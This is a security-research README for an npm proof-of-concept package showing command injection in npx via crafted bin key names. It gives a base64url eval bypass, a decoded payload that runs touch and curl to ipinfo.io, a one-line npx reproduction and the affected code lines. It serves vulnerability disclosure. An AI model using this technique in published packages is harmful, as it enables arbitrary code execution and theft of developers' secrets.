npm package: @ghostsecurity/npx-bin-key-poc
Description: Security research PoC: command injection via crafted bin key names in npx
Author: Ghost Security
Latest version: 0.0.2

# @ghostsecurity/npx-bin-key-poc

Security research PoC demonstrating command injection via crafted `bin` key
names in `npx` / `libnpmexec`.

**This package is for authorized security research only.** The injected
commands create an empty marker file (`npx-poc-pwned`) and fetch your public
IP info from `ipinfo.io` to demonstrate network exfiltration capability.

## Vulnerability

A malicious package author can set bin key names in `package.json` containing
POSIX shell metacharacters. When a victim runs `npx <package>`, the bin key
is extracted from the fetched manifest, wrapped in double quotes, and passed
to `sh -c`. Double quotes do **not** prevent `$()` command substitution in
POSIX sh. The `escape.sh()` function that properly single-quotes values is
applied to arguments only — never to the command name.

The consent prompt displays only the package name and version. The malicious
bin key name is never shown to the user.

## Reproduction

```bash
# From any directory:
npx @ghostsecurity/npx-bin-key-poc

# After the command exits:
ls -la npx-poc-pwned
# If this file exists, command injection occurred.
```

## What happens

```
1. npx fetches the manifest for @ghostsecurity/npx-bin-key-poc
2. Consent prompt shows: "Need to install: @ghostsecurity/npx-bin-key-poc@0.0.1"
3. User approves — bin key name is NOT visible
4. getBinFromManifest() returns the bin key containing $(node -e "eval(...)")
5. run-script.js wraps it in double quotes (which don't prevent $() expansion)
6. promise-spawn builds: sh -c '"$(node -e "eval(...)")"'
7. Shell evaluates $() — Node decodes and executes the base64url payload:
   a. touch npx-poc-pwned           — creates marker file in cwd
   b. curl -s ipinfo.io             — fetches victim's public IP info
   c. writes response to stderr     — displayed on victim's terminal
8. $() captures empty stdout — command becomes "" — "command not found"
```

The injected commands have already executed at step 7.

## Payload technique

Bin key names are normalized by `normalizePackageBin()` which runs
`path.basename()` (strips `/`) and `secureAndUnixifyPath()` (replaces `\`
and `:` with `/`). This means the bin key cannot contain `/`, `\`, or `:`.

To bypass this, the payload is encoded as JavaScript, base64url-encoded
(alphabet `A-Za-z0-9-_` — no forbidden characters), and decoded at runtime
via `node -e "eval(Buffer.from('...','base64url').toString())"`. Since
`npx` requires Node.js, `node` is always available. This allows arbitrary
commands including complex URLs with paths and query parameters.

The decoded JavaScript:
```js
const e = require("child_process").execSync;
e("touch npx-poc-pwned");
process.stderr.write(e("curl -s ipinfo.io"));
process.stderr.write("\n");
```

## Affected code path

- `libnpmexec/lib/get-bin-from-manifest.js:7` — returns `Object.keys(bin)[0]` without validation
- `libnpmexec/lib/run-script.js:22` — `args[0] = '"' + args[0] + '"'` (double quotes, not single)
- `@npmcli/promise-spawn/lib/index.js:78,118-121` — `escape.sh()` applied to args, not command name

## Impact

Arbitrary command execution as the victim user. An attacker publishes a
package to any npm registry. The victim runs `npx <package>` and approves
the install prompt (which reveals nothing suspicious). The injected commands
run with the victim's full privileges.

A real attacker could exfiltrate environment variables, tokens, SSH keys,
or install persistent backdoors — all triggered by a single `npx` invocation.

Variants: `$()`, backtick `` `...` ``, and double-quote breakout `"$(...)"`
all work.